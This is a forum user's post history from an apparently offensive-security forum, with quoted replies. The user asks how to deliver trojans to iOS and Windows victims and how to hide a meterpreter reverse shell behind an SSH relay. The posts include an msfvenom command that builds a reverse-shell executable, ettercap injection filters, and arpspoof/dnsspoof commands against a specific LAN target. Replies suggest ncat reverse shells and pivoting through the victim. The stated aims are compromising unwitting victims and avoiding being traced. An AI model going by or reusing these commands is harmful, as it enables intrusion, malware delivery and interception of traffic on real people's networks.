Jump to content

kdlsw

Active Members
  • Posts

    13
  • Joined

  • Last visited

Posts posted by kdlsw

  1. I do not have too much experience with ios. For Android, a simple social engineering to let the victim install the malware apk would be sufficient. But from my understanding, all APPs on ios are required to be installed via AppStore, if I cannot poison the traffic of the victim, what's the usual way to deliver a trojan or malware to a target? Or if there is any good articles/books I can look into? thanks!

  2. On 2017/11/22 at 10:45 PM, digip said:

     just have the reverse shell sent to any port on "my server" but with "my server" sending it to port 22 to the "local" machine which would be setup to listen on port 22

    This is exactly what I was trying to do, the entire ssh thing was meant to accomplish this goal, but it did not work.

    If I do 

    ssh -N -R 80:localhost:80 user@aaa.aaa.aaa.aaa

    on my "local" console, and run apache on my "local", I was able to access the "local" apache server by accessing aaa.aaa.aaa.aaa:80 from outside. But this trick did not work with metasploit, I mean if I run 

    ssh -N -R 12345:localhost:12345 user@aaa.aaa.aaa.aaa

    and set the multi-handler to listen on local machine at 12345, while the trojan was configured to send stager or a direct shell to aaa.aaa.aaa.aaa:12345, it doesn't work. 

    How should I do this correctly? Thank you

     

    BTW, the "local" machine was never running a sshd service, it was not a ssh server, it connects to "my server" via ssh -R, "my server" is the one running sshd.

  3. On 2017/10/30 at 3:42 PM, digip said:

    For SSH, you would ideally SSH into the victim, not them into you, which would make you vulnerable to attack. You would also need to use a certificate and disable passwords for it to work, or use a different SSH tool to allow passing the passwords, since SSH itself, won't allow you to script the password prompt part. SSHpass I believe lets you script the login process and pass the password along, but again, you'd be giving the victim access to YOUR side if you do this. Using proxychains, you can then forward any tool over the SSH connection to scan the inside of the victim LAN, via the victim's machine, but I think you have your setup a bit ass backwards in what you are trying to do, since you seem to be wanting the victim to SSH into you, which I wouldn't suggest doing. Also, you would also need to configure SSH to listen for connections on the port you posted above, which seems you have metasploit listening on, not SSH, so SSH should fail completely anyway(even with SSHpass sending credentials) with what you have shown above, unless I missed something you left out.

    If meterpeter is listening for a connection, the other side needs to send what it expects, which is not SSH. You selected reverse TCP, so your victim needs to just send a normal reverse TCP session. There is an option to use SSL with the reverse sessions, so SSH isn't exactly needed either, if encryption was what you intended to use to hide the data going over the wire. If you had something like proxychains setup with dynamic forwarding and using certificates for the victim to SSH to you without the need for a password, it might be possible, but again, what you would be doing essentially, is letting the victim SSH into you, giving the victim side, complete access to your machine, which I assume is NOT what you intended.

    Think about what needs to be done. Often helps to draw out the topology and end points and everything in between. If you have a way for the victim to dial out and port forwarded on your end to the listener, you don't even need metasploit in the mix(but the msfvenom payload would need to not use meterpreter in this instance), and can use something like ncat, end to end which allows SSL(vs netscat, which does not do SSL). ncat comes with nmap, and if you can copy it onto the victim machine and execute it via any script like a simple bash script, so long as you can catch the reverse shell on your end via port forward or such, you should be good to go. You can then again use proxychains on your end  to forward any scanning tools or such, directly over the ncat tunnel to scan the victim's LAN for other machines, pivot over the tunnel, etc.

    This is how I would probably try it, using ncat with SSL, but if you need metasploit, use reverse_https for SSL, and you would be better served with this, vs having them try to SSH into you. Keep it simple, and don't open your machine up to attack.

    https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode

     

     

    @digip

    Thank you very much for replying me, I think I did not address my situation and question clearly, and it leads to some misunderstanding, I am sorry about that.

     

    I am not trying to let victims to connect to my local machine via ssh, I am trying to let them connect to one of my server via a standard meterpreter reverse tcp connection, and the server will send this connection back to my local machine, like this :

     

    Victims--------(reverse tcp)--------> my server-----------(remote SSH)--------->my local kali

     

    The reasons I am doing this are

    1: I am inside a LAN, port forwarding is not very easy here.

    2: I do not wish to reveal my local ip address nor a opened listening port to the victims

     

    I think this question must has been asked before, since we all use tor and many layers of proxies to hide ourselves in normal forward scans/connections, there must be some similar consideration of remaining anonymous in a reverse shell connection. But I really couldn’t find any.

     

    This configuration is tested with netcat and apache, local kali is able to receive connection from the victim machine during the test, it only doesn’t work when this comes to meterpreter reverse tcp, in fact, to be more accurate, when it comes to multi handler, because if I set netcat listening on the reverse tcp connection port, I was able to receive some inbound traffic (just not establishing a valid connection, since it is not the right handler). From victim’s machine, no listening port detected even when I got the multi handler listening, and I tested the handler inside my LAN, it is working. So, maybe the multi handler was not binding with the ssh tunnel?

     

    I apologize for my last unclear description. Please, if there is any solutions or workarounds on this problem, share with me, thank you!

  4. My kali machine is in a LAN, in order to get a reverse connection from the victim outside the LAN, I set up a remote ssh tunnel

    ssh -N -R 45679:localhost:45679 user@aaa.aaa.aaa.aaa -p 45678

    The ssh server is also inside another LAN, but port forwarding is possible, so I forwarded 45678 as ssh port, and 45679 as the reverse connection port. Tested with netcat, and apache server, worked.
    Now, here is the configuration of the malware generated by msfvenom

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=aaa.aaa.aaa.aaa LPORT=45679 -f exe -o mal.exe

    And here is the multi/handler configuration under msf

    msf exploit(handler) > show options
    
    Module options (exploit/multi/handler):
    
      Name  Current Setting  Required  Description
      ----  ---------------  --------  -----------
    
    
    Payload options (windows/x64/meterpreter/reverse_tcp):
    
      Name      Current Setting  Required  Description
      ----      ---------------  --------  -----------
      EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
      LHOST     192.168.0.102    yes       The listen address
      LPORT     45679            yes       The listen port
    
    
    Exploit target:
    
      Id  Name
      --  ----
      0   Wildcard Target

    Then I exploit, nothing happens on the handler, no session receive, but the ssh terminal continuously showing the following message once I run the malware on the victim machine

    connect_to localhost port 45679: failed.
    connect_to localhost port 45679: failed.
    connect_to localhost port 45679: failed.

    I did a scan on aaa.aaa.aaa.aaa:45679, no open port discovered.

    Since NC and apache test works, SSH tunnel should be functioning properly, so it is the handler's problem? My thought is, the multi handler is somehow not listening/connecting to the tunneled port, but I am not sure how could that happen, doesn't remote ssh tunnel automatically apply to global once the command is running?
    Any ideas, or workarounds? This should be a FAQ, yet, couldn't find right way... Thank you

  5. I found it quite difficult to actually get a shell these days, I am wondering how you guys do it, anyway, here is what I did

    On the LAN side, with mitm attack and injection, beef, it’s reasonably efficient to harvest credential, but a little hard to pwn a device, usually I need to send a fake social engineering request to let the victim to run some payloads. Remotely, I can bind some malicious payloads with normal files, and with a lot of social engineering, I can sometime get a shell then escalate privilege with my scripts. But these tricks (both LAN and internet) are not always reliable as they highly depending on social engineering, people these days don’t install program easily and they check URLs a lot.

    I am not sure what to do next to get shells more reliably, are there any better ways to handle it instead of hoping the user is a layman? Should I look into shellcode exploits and client side vulnerability? And most consoles are behind a router, which made direct vulnerability scan impossible I assume? Please, any suggestions will be appreciated, thank you!

  6. 10 hours ago, digip said:

    If you're using Kali, a lot of these tools should be installed, and if not, are in the repo and should all work once installed, dependencies as well. Often its something simple though, like forgetting to add a switch or IP forward for a tool like mitm attacks.

    Thank you, this is helpful! I will try it!

  7. I'm trying to perform a javascript injection with ettercap 0.8.2 and its filter, but it did not work. All the relevant topics I found are before 2016, I am not sure if this kind of attack still works now? Anyway, this is my filter script

    if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, "Accept-Encoding")) {
    replace("Accept-Encoding", "Accept-Nothing!");
    msg("zapped Accept-Encoding!\n");
    }
    }
    
    if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, "<head>")) {
    replace("<head>", "<HEAD>");
    msg("Code injected");
    }
    }

    And I run it as

    ettercap -T -q -i wlan0 -F test.ef -M arp:remote /192.168.0.1// /192.168.0.100//

    test.ef is the compiled filter file.

    When the victim opens any web page, I got a lot of "zapped Accept-Encoding!" messages, but no "Code injected", and of course the html source code on the victim side is untouched. The part I really don't understand is, if I remove the search condition for the second part,

    if (ip.proto == TCP && tcp.dst == 80) {
    
    replace("<head>", "<HEAD>");
    msg("Code injected");
    
    }

    "Code injected" message shows, but html code on the web client is not changed, which means, the problem is that the filter cannot find any named strings (in this case <head>) in the html file, it can only deal with the header (Accept-Encoding). Does anyone know a solution or work around, please, any suggestions will be appreciated, thanks

  8. Hi, I did a pentest in a LAN, some weird things happened.

    This LAN is a little unusual, there are two routers, say A and B, A is directly connected to an optical fiber, doing PPPoE, to the WAN, it has a gateway of 192.168.1.1, B is connected to A, wireless router, with a gateway of 192.168.0.1. All the clients and my Kali machine are connected to B. Target has an IP of 192.168.0.104

    Here is what I did with Kali, I use the following to arp spoof the target and router B 

    arpsoof  -i  eth0  -t  192.168.0.1  192.168.0.104
    arpsoof  -i  eth0  -t  192.168.0.104  192.168.0.1
    sysctl -w net.ipv4.ip_forward=1

    Then I did a Dns Spoof with

    dnsspoof  -i  eth0  -f  dnshost.spoof

    It did not work, all the traffic went through my Kali, but the target was still able to access the original webpage.

    And here comes the weird thing. I stopped the dnsspoof, stopped the ip forwarding

    sysctl -w  net.ipv4.ip_forward=0

    and I started the exactly the same exact dnsspoof as last time again, it worked!

    This really confused me, because after that, I tried to start arpspoof and dnsspoof without setting ip_forward to 1 at all, I left it to be the default 0, and it did not work, because the arp traffic was not working (which is excepted!!). ArpSpoof and dnsspoof both work ONLY IF the process "ip forwarding is firstly enabled and then disabled" completed once, before launching dnsspoof. Ip forwarding only on gives dnsspoof not working, ip forwarding only always off gives arpspoof not working.

    Besides that, two more strange things I failed to understand.

    1, Sometimes, the "ip forward on and off" cycle must be done in the same terminal where the dnsspoof takes place, in order to make it work. Switching on then off in another terminal simply leads to arpspoof failure.

    2, Here is the log/feedback of a DnsSpoof

    root@kali:~# dnsspoof -i eth0 -f dnshost.spoof 
    dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.0.113]
    192.168.0.104.62290 > 192.168.1.1.53:  4678+ A? www.youtube.com
    192.168.0.104.62290 > 192.168.0.1.53:  4678+ A? www.youtube.com
    192.168.0.104.65063 > 192.168.1.1.53:  31827+ A? www.youtube.com
    192.168.0.104.65063 > 192.168.0.1.53:  31827+ A? www.youtube.com
    192.168.0.104.55426 > 192.168.1.1.53:  51608+ A? www.sina.com
    192.168.0.104.55426 > 192.168.0.1.53:  51608+ A? www.sina.com
    192.168.0.104.54794 > 192.168.1.1.53:  5651+ A? www.sina.com
    192.168.0.104.54794 > 192.168.0.1.53:  5651+ A? www.sina.com
    192.168.0.104.60485 > 192.168.1.1.53:  2950+ A? www.sina.com
    192.168.0.104.63394 > 192.168.1.1.53:  41196+ A? www.facebook.com
    192.168.0.104.63394 > 192.168.0.1.53:  41196+ A? www.facebook.com
    192.168.0.104.52953 > 192.168.1.1.53:  6912+ A? www.facebook.com
    192.168.0.104.52953 > 192.168.0.1.53:  6912+ A? www.facebook.com
    ^Croot@kali:~# dnsspoof -i eth0 -f dnshost.spoof 
    dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.0.113]
    192.168.0.104.53807 > 192.168.1.1.53:  60485+ A? www.youtube.com
    192.168.0.104.53807 > 192.168.1.1.53:  60485+ A? www.youtube.com
    192.168.0.104.50239 > 192.168.1.1.53:  28894+ A? www.sina.com
    192.168.0.104.50239 > 192.168.1.1.53:  28894+ A? www.sina.com

    The second launch was a failed one, the first one succeeded. The router I am targeting should be 192.168.0.1, as the router B, in the second launch, it is interacting with only router A (192.168.1.1), I am not sure what does that mean and if it has something to do with the failure directly, because in the next few attempts, a feedback situation like this second launch worked sometimes.

     

    I am almost 100% sure this issue was due to the two routers, but I am still not able to understand why, or even find a way to make it always work. Please, any suggestion will be appreciated! Thanks

  9. 3 hours ago, cooper said:

    The words you're looking for are XSS and CSRF. It's a seemingly eternal problem that's not going anywhere.

    Also, check out how ad platforms are being leveraged as a delivery vector for malware. That stuff gets embedded into the website and is hosted elsewhere.

    Thank you! I will take a look on them, thanks!

×
×
  • Create New...